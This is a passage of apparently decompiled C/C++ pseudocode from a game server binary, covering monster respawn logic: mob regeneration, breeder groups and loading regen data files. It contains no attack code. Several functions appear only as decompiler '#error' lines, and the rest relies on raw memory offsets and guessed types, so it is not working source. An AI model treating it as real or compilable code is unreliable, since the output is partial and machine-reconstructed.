v14; // edx@1 int v15; // eax@1 MobDataBox::MobDataBoxIndex *v16; // eax@3 char v17; // cl@3 __int16 v18; // cx@5 int v19; // esi@5 int v21; // eax@7 int v22; // eax@9 int v23; // edx@9 int v24; // edx@9 int v25; // eax@9 unsigned int i; // ecx@9 int v27; // edx@10 int v28; // edi@18 int v29; // eax@22 int v30; // eax@23 const char *v31; // [sp+10h] [bp-30h]@16 int v32; // [sp+14h] [bp-2Ch]@16 ListIteratorDefault arg; // [sp+2Ch] [bp-14h]@7 int v34; // [sp+30h] [bp-10h]@7 int v35; // [sp+3Ch] [bp-4h]@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_DWORD *)v13 + 1864) = regnum; *(_DWORD *)((char *)v13 + 7555) = *(_DWORD *)map_; *(_DWORD *)((char *)v13 + 7559) = *(_DWORD *)(map_ + 4); *(_DWORD *)((char *)v13 + 7563) = *(_DWORD *)(map_ + 8); **((_BYTE **)v13 + 929) = 0; v14 = *(_DWORD *)v13; v35 = 0; (*(void (__thiscall **)(void *, int, int, int))(v14 + 2844))(v13, handle, mobid, bandittemplete); **(_DWORD **)((char *)v13 + 78) = x; *(_DWORD *)(*(_DWORD *)((char *)v13 + 78) + 4) = y; v15 = dir / 2; if ( dir / 2 < 0 ) LOBYTE(v15) = v15 - 76; **(_BYTE **)((char *)v13 + 82) = v15; v16 = MobDataBox::operator__(&mobdatabox, mobid); v17 = lev; *((_DWORD *)v13 + 1894) = v16; if ( lev <= 0 ) v17 = LOBYTE(v16->data->Level); *((_BYTE *)v13 + 7580) = v17; v18 = *((_WORD *)v13 + 4446) & 0xFFFE | v16->serv->IsRoaming & 1; *((_WORD *)v13 + 4446) = v18; *((_WORD *)v13 + 4446) = v18 & 0xFF01 | 2 * (v16->serv->RoamingNumber & 0x7F); *((_WORD *)v13 + 4447) = v16->serv->RoamingDistance; *((_DWORD *)v13 + 1862) = 0; MobTacticElement::MobActionArgument::Actor::SetTargetPoint( (MobTacticElement::MobActionArgument::Actor *)((char *)v13 + 8252), (#331 **)v13 + 2225); ShineObjectClass::ShineMob::sm_SetBrain(v13); (*(void (__thiscall **)(void *))(*(_DWORD *)v13 + 2840))(v13); *((_DWORD *)v13 + 2104) = a11; v19 = ShineObjectClass::ShineObject::so_MapMarking(v13, 0); if ( v19 ) { --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); return v19; } memcpy( (void *)(*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1164))(v13), &ShineObjectClass::ShineObject::so_emptyabstate, 0x31u); v21 = (*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1304))(v13); arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v34 = v21 + 3480; LOBYTE(v35) = 1; List::l_4AllInList((List *)(v21 + 3480), &arg); LOBYTE(v35) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; if ( unk_608494 ) { (*(void (__thiscall **)(void *, void *, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, signed int, signed int))(*(_DWORD *)v13 + 1528))( v13, v13, 291, 1, unk_608494, clockwatch.cw_CurrTick, 0, -1, 5000, 8); ShineObjectClass::ShineObject::so_AbnormalState_BitSet(v13, 291); } (*(void (__thiscall **)(void *, int))(*(_DWORD *)v13 + 1700))(v13, handle); v22 = (*(int (__thiscall **)(void *))(*(_DWORD *)v13 + 1244))(v13); v23 = *(_DWORD *)v13; *((_DWORD *)v13 + 1865) = v22; *((_DWORD *)v13 + 1866) = (*(int (__thiscall **)(void *))(v23 + 1248))(v13); Parameter::Container::c_StoreMob( (Parameter::Container *)((char *)v13 + 4008), *((MobDataBox::MobDataBoxIndex **)v13 + 1894)); v24 = *(_DWORD *)v13; *((_WORD *)v13 + 3806) = -1; v25 = (*(int (__thiscall **)(void *))(v24 + 1720))(v13); std::vector>::resize( (std::vector > *)v13 + 474, *(_DWORD *)(v25 + 12), 0); for ( i = 0; ; ++i ) { v27 = *((_DWORD *)v13 + 1897); if ( !v27 ) break; if ( i >= (*((_DWORD *)v13 + 1898) - v27) >> 2 ) break; *(_DWORD *)(*((_DWORD *)v13 + 1897) + 4 * i) = 0; } *((_DWORD *)v13 + 1900) = -1; if ( !a10 ) { *(_DWORD *)((char *)v13 + 8857) = v13; *(_DWORD *)((char *)v13 + 8853) = v13; goto LABEL_22; } if ( (*(int (__thiscall **)(int))(*(_DWORD *)a10 + 1772))(a10) == 0 ) { v32 = 0; v31 = "ShineObjectClass::ShineMob::so_mob_Regenerate : Null FamilyList - Leader"; LABEL_17: AssertClass::ac_AssertFail(&shineassert, v31, v32); *(_DWORD *)((char *)v13 + 8857) = v13; *(_DWORD *)((char *)v13 + 8853) = v13; goto LABEL_22; } v28 = *(_DWORD *)((*(int (__thiscall **)(int))(*(_DWORD *)a10 + 1772))(a10) + 4); if ( !(*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1772))(a10) || !(*(int (__thiscall **)(int))(*(_DWORD *)v28 + 1772))(v28) ) { v32 = 0; v31 = "ShineObjectClass::ShineMob::so_mob_Regenerate : Null FamilyList - member"; goto LABEL_17; } *(_DWORD *)((char *)v13 + 8857) = *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1772))(a10) + 4); *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)a10 + 1772))(a10) + 4) = v13; *(_DWORD *)((char *)v13 + 8853) = *(_DWORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v28 + 1772))(v28); *(_DWORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v28 + 1772))(v28) = v13; LABEL_22: v29 = *(_DWORD *)(*((_DWORD *)v13 + 1894) + 8); if ( v29 && ((v30 = *(_DWORD *)v29) == 0 || *(_DWORD *)(v30 + 111)) ) *((_DWORD *)v13 + 1853) = &roe_normalMA; else *((_DWORD *)v13 + 1853) = &roe_normalPY; --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_Regenerate"); return 0; } // 4460A0: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004827E0) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineServant::so_mob_Regenerate(ShineObjectClass::ShineServant *this, Name3 *map_, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #331 *leadermob, #811 *breeder, int lev, char blockdata) { void *v13; // esi@1 int v14; // eax@1 FieldMap::FM_MarkingError v15; // esi@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineServant::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = ShineObjectClass::ShineMob::so_mob_Regenerate( v13, (int)map_, x, y, dir, handle, mobid, (int)bandittemplete, regnum, (int)leadermob, (int)breeder, lev, blockdata); --funcallanalizer.fca_stackpoint; v15 = v14; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineServant::so_mob_Regenerate"); return v15; } //----- (004828C0) -------------------------------------------------------- FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineNPC::so_mob_Regenerate(ShineObjectClass::ShineNPC *this, Name3 *_map, int x, int y, int dir, unsigned __int16 handle, unsigned __int16 mobid, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, unsigned int regnum, #331 *leadermob, #811 *breeder, int lev, char blockdata) { ShineObjectClass::ShineNPC *v13; // esi@1 int v14; // eax@1 FieldMap::FM_MarkingError v15; // esi@1 v13 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_Regenerate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineNPC::so_mob_Regenerate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v13->sn_FromTable = 0; v14 = ShineObjectClass::ShineMob::so_mob_Regenerate( v13, (int)_map, x, y, dir, handle, mobid, (int)bandittemplete, regnum, (int)leadermob, (int)breeder, lev, blockdata); --funcallanalizer.fca_stackpoint; v15 = v14; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineNPC::so_mob_Regenerate"); return v15; } //----- (004829A0) -------------------------------------------------------- #error "4829A0: undefined or illegal type '#331' (funcsize=181)" //----- (00482C00) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_Routine(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle) { MobRegenClass::MobBreederGroup *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *((_WORD *)v3 + 10) ) List::l_4AllInList( (List *)v3, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))&MobRegenClass::MobBreeder::mb_Routine); else ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_Routine"); return 1; } //----- (00482CC0) -------------------------------------------------------- #error "482CC0: undefined or illegal type '#811' (funcsize=44)" //----- (00482D70) -------------------------------------------------------- void __thiscall EventMobRegen::erb_happen(EventMobRegen *this) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "EventMobRegen::erb_happen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "EventMobRegen::erb_happen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; List::l_4AllInList( (List *)((char *)mobhatchery + (_DWORD)((char *)&wholesaver + 18857024)), (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))MobRegenClass::MobBreederGroup::mbg_Routine); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "EventMobRegen::erb_happen"); } //----- (00482E10) -------------------------------------------------------- #error "482E10: undefined or illegal type '#811' (funcsize=44)" //----- (00482EC0) -------------------------------------------------------- void __thiscall std::vector>::_Tidy(std::vector > *this) { std::vector > *v1; // ebx@1 KQContribute::PlayerList *v2; // esi@1 KQContribute::PlayerList *i; // edi@2 v1 = this; v2 = this->_Myfirst; if ( v2 ) { for ( i = this->_Mylast; v2 != i; ++v2 ) FamilyMobManagement::FamilyMob::_FamilyMob(v2); operator delete(v1->_Myfirst); } v1->_Myfirst = 0; v1->_Mylast = 0; v1->_Myend = 0; } //----- (00482F10) -------------------------------------------------------- FamilyMobManagement::FamilyMob *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::FamilyMob *_Ptr, unsigned int _Count, FamilyMobManagement::FamilyMob *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00482F40) -------------------------------------------------------- #error "482F40: undefined or illegal type '#811' (funcsize=271)" //----- (00483240) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 FamilyMobManagement::FamilyMob *v6; // eax@2 KQContribute::PlayerList *v7; // ebx@2 FamilyMobManagement::FamilyMob *v8; // edi@2 KQContribute::PlayerList *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(FamilyMobManagement::FamilyMob **)&_Last, v4->_Mylast, *(FamilyMobManagement::FamilyMob **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = (KQContribute::PlayerList *)v4->_Mylast; v8 = v6; for ( i = (KQContribute::PlayerList *)v6; i != v7; ++i ) FamilyMobManagement::FamilyMob::_FamilyMob(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (004832A0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::FamilyMob *_Val) { std::vector > *v4; // edi@1 FamilyMobManagement::FamilyMob *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00483310) -------------------------------------------------------- #error "483310: undefined or illegal type '#811' (funcsize=54)" //----- (004833F0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::FamilyMob *_Val) { std::vector > *v2; // esi@1 FamilyMobManagement::FamilyMob *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 FamilyMobManagement::FamilyMob *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00483480) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::l_Free(MobRegenClass::MobBreederGroup *this, unsigned __int16 hnd) { MobRegenClass::MobBreederGroup *v2; // esi@1 char v3; // cl@1 int v4; // edi@2 int v5; // ecx@3 char v6; // al@7 char v7; // bl@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_Free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::l_Free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; if ( hnd < *((_WORD *)v2 + 2) ) { v5 = *((_DWORD *)v2 + 2); v4 = *(_DWORD *)(v5 + 12 * hnd); v3 = *(_BYTE *)(v5 + 12 * hnd + 8); } else { v4 = 0; } if ( v3 ) { *(_DWORD *)(v4 + 92) = 0; *(_DWORD *)(v4 + 88) = 0; } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::l_Free", 0); } FamilyMobManagement::FamilyMobManager::fmm_Remove(&g_FamilyMobManager, (#811 *)v4); v6 = List::l_Free((List *)v2, hnd); --funcallanalizer.fca_stackpoint; v7 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreederGroup::l_Free"); return v7; } //----- (00483570) -------------------------------------------------------- #error "483570: undefined or illegal type '#811' (funcsize=103)" //----- (004836C0) -------------------------------------------------------- char __thiscall MobRegenClass::MobBreederGroup::mbg_StoreData(MobRegenClass::MobBreederGroup *this, List *lst, unsigned __int16 handle) { int v3; // ebp@1 MobRegenStruct::RegenMobStruct *v4; // edx@1 bool v5; // zf@1 int v6; // eax@10 char *v7; // eax@11 int v8; // ebx@13 void *v9; // edi@15 int v10; // eax@16 unsigned int v11; // eax@20 signed __int16 v12; // si@20 char result; // al@33 unsigned int _; // [sp+10h] [bp-118h]@12 char buffer[256]; // [sp+18h] [bp-110h]@11 unsigned int v16; // [sp+118h] [bp-10h]@33 int v17; // [sp+124h] [bp-4h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_StoreData"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = mbsa.mbsa_Struct; v5 = *(_DWORD *)mbsa.mbsa_Struct == *(_DWORD *)(v3 + 6424); v17 = 0; if ( v5 && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[4] == *(_DWORD *)(v3 + 6428) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[8] == *(_DWORD *)(v3 + 6432) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[12] == *(_DWORD *)(v3 + 6436) && *(_DWORD *)&mbsa.mbsa_Struct->rms_groupname.ort_Name[16] == *(_DWORD *)(v3 + 6440) && *(_DWORD *)&mbsa.mbsa_map->n3_name[0] == *(_DWORD *)(v3 + 6493) && *(_DWORD *)&mbsa.mbsa_map->n3_name[4] == *(_DWORD *)(v3 + 6497) && *(_DWORD *)&mbsa.mbsa_map->n3_name[8] == *(_DWORD *)(v3 + 6501) ) { memcpy((void *)(v3 + 6445), &mbsa.mbsa_Struct->rms_regen, 0x30u); v6 = *(_DWORD *)(v3 + 6445); if ( (unsigned int)v6 < 0x93A80 ) { _ = 0; if ( v4->rms_Number ) { v8 = (int)"MobRegenClass::MobBreederGroup::mbg_StoreData"; do { LOWORD(v6) = *(_WORD *)(v3 + 12); if ( (_WORD)v6 == -1 ) { v9 = 0; } else { v8 = v6; v10 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v3 + 4))(v3, v6); v4 = mbsa.mbsa_Struct; v9 = (void *)v10; } if ( !v9 ) { AssertClass::ac_AssertFail(&shineassert, "MobBreederGroup::mbg_StoreData : Too many mob in regengroup", 0); ShineExit("MobRegenClass::MobBreederGroup::mbg_StoreData"); } v11 = BTree::operator__(&mobdatabox.mdb_btree, v4->rms_mobname); v12 = -1; if ( v11 != -1 ) v12 = v11; if ( v12 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MobBreederGroup::mbg_StoreData : Wrong mob name", mbsa.mbsa_Struct->rms_mobname); v12 = 1; } if ( *(_BYTE *)(v3 + 6444) == 89 ) { if ( *(_DWORD *)(v3 + 6576) ) MobRegenClass::MobBreeder::mb_SetLeader(v9, *(_DWORD *)(v3 + 6576)); else *(_DWORD *)(v3 + 6576) = v9; FamilyMobManagement::FamilyMobManager::fmm_Regist( &g_FamilyMobManager, *(#811 **)(v3 + 6576), v12, mbsa.mbsa_Struct->rms_KillNumber); } if ( !MobRegenClass::MobBreeder::mb_Set(v9, v3, v12, (int)&mbsa.mbsa_Struct->rms_regen, -1) ) (*(void (__thiscall **)(int, int))(*(_DWORD *)v3 + 8))(v3, v8); v4 = mbsa.mbsa_Struct; v6 = _++ + 1; } while ( _ < mbsa.mbsa_Struct->rms_Number ); } --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } else { AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_StoreData : Minus regen time", v6); v7 = ORToken::ort_GetString((ORToken *)(v3 + 6424), buffer); AssertClass::ac_AssertFail(&shineassert, "MobRegenClass::MobBreederGroup::mbg_StoreData : Minus regen time", v7); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } } else { v17 = -1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_StoreData"); } __security_check_cookie(v16); return result; } //----- (004839A0) -------------------------------------------------------- #error "4839A0: undefined or illegal type '#811' (funcsize=107)" //----- (00483B40) -------------------------------------------------------- void __thiscall MobHatchery::mh_Load(MobHatchery *this, Name4 *world, Name3 *map_) { unsigned int v3; // eax@1 char *v4; // eax@1 unsigned int v5; // ecx@1 char *v6; // ecx@1 int v7; // esi@1 int v8; // esi@1 int v9; // edx@1 void *v10; // ebp@1 unsigned int v11; // eax@2 char *v12; // eax@2 void *v13; // eax@4 void *v14; // esi@4 int v15; // eax@5 int v16; // ebp@9 int v17; // edx@10 char *v18; // esi@17 int v19; // edx@17 List *v20; // ecx@17 char v21; // al@17 char *v22; // eax@18 ORToken v23; // [sp-18h] [bp-20Ch]@4 int v24; // [sp-14h] [bp-208h]@4 char *v25; // [sp-10h] [bp-204h]@1 const char *v26; // [sp-Ch] [bp-200h]@1 char *v27; // [sp-8h] [bp-1FCh]@1 int v28; // [sp-4h] [bp-1F8h]@1 int i; // [sp+10h] [bp-1E4h]@3 void *or; // [sp+14h] [bp-1E0h]@1 MobHatchery *v31; // [sp+18h] [bp-1DCh]@1 ORToken *v32; // [sp+1Ch] [bp-1D8h]@4 FunctionEntarance _; // [sp+20h] [bp-1D4h]@1 char path[128]; // [sp+24h] [bp-1D0h]@1 char buf[64]; // [sp+A4h] [bp-150h]@7 char buffer[256]; // [sp+E4h] [bp-110h]@18 unsigned int cookie; // [sp+1E4h] [bp-10h]@23 int v38; // [sp+1F0h] [bp-4h]@1 v31 = this; _.fe_FunctionCode = "MobHatchery::mh_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v38 = 0; SafePointer::SafePointer((SafePointer *)&or); v3 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v3; v4 = (char *)&namestring + 256 * v3; *(_QWORD *)v4 = *(_QWORD *)&map_->n3_name[0]; *((_DWORD *)v4 + 2) = *(_DWORD *)&map_->n3_name[8]; v4[12] = 0; v5 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v5; v6 = (char *)&namestring + 256 * v5; *(_DWORD *)v6 = *(_DWORD *)&world->n4_name[0]; v7 = *(_DWORD *)&world->n4_name[4]; v28 = (int)v4; *((_DWORD *)v6 + 1) = v7; v8 = *(_DWORD *)&world->n4_name[8]; v27 = v6; *((_DWORD *)v6 + 2) = v8; v9 = *(_DWORD *)&world->n4_name[12]; v26 = "../9Data/Shine/World/%s/MobRegen/%s.txt"; v25 = path; LOBYTE(v38) = 1; *((_DWORD *)v6 + 3) = v9; v6[16] = 0; sprintf(v25, v26); v10 = or; if ( !OptionReader::or_Read((OptionReader *)or, path) ) { OptionReader::or_ClearError((OptionReader *)v10); v11 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v11; v12 = (char *)&namestring + 256 * v11; *(_QWORD *)v12 = *(_QWORD *)&map_->n3_name[0]; *((_DWORD *)v12 + 2) = *(_DWORD *)&map_->n3_name[8]; v12[12] = 0; sprintf(path, "../9Data/Shine/MobRegen/%s.txt"); if ( OptionReader::or_Read((OptionReader *)v10, path) ) { i = 0; while ( 1 ) { v28 = i; v32 = &v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "MobRegenGroup", 0x14u); v13 = OptionReader::or_SelectFromOrder((OptionReader *)v10, v23, v28); v14 = v13; if ( !v13 ) break; v15 = *(_DWORD *)((char *)v13 + 21); if ( v15 < (unsigned int)&wholesaver.ws_savestore[109].esc_skill.buffer[9219] && *(_DWORD *)((char *)v14 + 25) < (unsigned int)&wholesaver.ws_savestore[109].esc_skill.buffer[9219] ) { LOWORD(v15) = *(_WORD *)((char *)v31 + (_DWORD)((char *)&wholesaver + 18857036)); if ( (_WORD)v15 == -1 ) { v16 = 0; } else { v17 = *(_DWORD *)((char *)v31 + (_DWORD)((char *)&wholesaver + 18857024)); v28 = v15; v16 = (*(int (__stdcall **)(int))(v17 + 4))(v15); } if ( v16 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : Too many MobRegenGroup", 0); ShineExit("MobHatchery::mh_Load"); } v28 = (int)((char *)v14 + 21); v27 = (char *)*((_BYTE *)v14 + 20); MobRegenClass::MobBreederGroup::mbg_Set( (MobRegenClass::MobBreederGroup *)v16, (ORToken *)v14, map_, (char)v27, (MobRegenStruct::RegenRegion *)((char *)v14 + 21)); *(_DWORD *)(v16 + 6580) = MobRoaming::MobRoamingSet::mrs_Load(&roamingpaths, world, (ORToken *)v14); v10 = or; ++i; } else { v28 = *(_DWORD *)((char *)v14 + 25); AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : Invalid LoginLoc", v15, v28); ORToken::ort_GetString((ORToken *)v14, buf); ++i; } } mbsa.mbsa_map = map_; for ( i = 0; ; ++i ) { v28 = i; v32 = &v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "MobRegen", 0x14u); mbsa.mbsa_Struct = (MobRegenStruct::RegenMobStruct *)OptionReader::or_SelectFromOrder( (OptionReader *)v10, v23, v28); if ( !mbsa.mbsa_Struct ) break; namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v18 = (char *)&namestring + 256 * namestring.ns_point.value; *(_QWORD *)v18 = *(_QWORD *)&map_->n3_name[0]; v19 = *(_DWORD *)&map_->n3_name[8]; v28 = (int)MobRegenClass::MobBreederGroup::mbg_StoreData; v20 = (List *)((char *)v31 + (_DWORD)((char *)&wholesaver + 18857024)); *((_DWORD *)v18 + 2) = v19; v18[12] = 0; v21 = List::l_4AllInList( v20, (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))v28); v32 = (ORToken *)(v21 == 0); if ( v21 ) { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : RegenMob without RegenGroup in", v18); v22 = ORToken::ort_GetString(&mbsa.mbsa_Struct->rms_groupname, buffer); AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_Load : RegenGroup is", v22); ShineExit("MobHatchery::mh_Load"); } } } } LOBYTE(v38) = 0; if ( v10 ) { OptionReader::_OptionReader((OptionReader *)v10); operator delete(v10); } --funcallanalizer.fca_stackpoint; v38 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_Load"); __security_check_cookie(cookie); } //----- (00483F10) -------------------------------------------------------- #811 *__thiscall MobRegenClass::MobBreederGroup::mbg_MobBreed(MobRegenClass::MobBreederGroup *this, Name3 *map_, SHINE_XY_TYPE *xy, int dir, unsigned __int16 mobid, char *itemindex, int mobnumber, int regensec, char family, int regennum, ORToken *aitype, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete, char *droparea, unsigned __int16 dropmobid, int lev) { MobRegenClass::MobBreederGroup *v15; // esi@1 #811 *v16; // ebx@1 int v17; // ebp@1 int v18; // eax@4 #811 *v19; // edi@5 #811 *result; // eax@13 unsigned int map_a; // [sp+24h] [bp+4h]@3 int xya; // [sp+28h] [bp+8h]@4 v15 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_MobBreed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreederGroup::mbg_MobBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *((_BYTE *)v15 + 6444) = family; *(_QWORD *)((char *)v15 + 6493) = *(_QWORD *)&map_->n3_name[0]; v16 = 0; *(_DWORD *)((char *)v15 + 6501) = *(_DWORD *)&map_->n3_name[8]; MobRegenClass::MobBreederGroup::mbg_SetRegenLoc(v15, xy); v17 = mobnumber; *((_DWORD *)v15 + 1643) = dir; *(_QWORD *)((char *)v15 + 6508) = *(_QWORD *)&aitype->ort_Name[0]; *(_QWORD *)((char *)v15 + 6516) = *(_QWORD *)&aitype->ort_Name[8]; *((_DWORD *)v15 + 1631) = *(_DWORD *)&aitype->ort_Name[16]; if 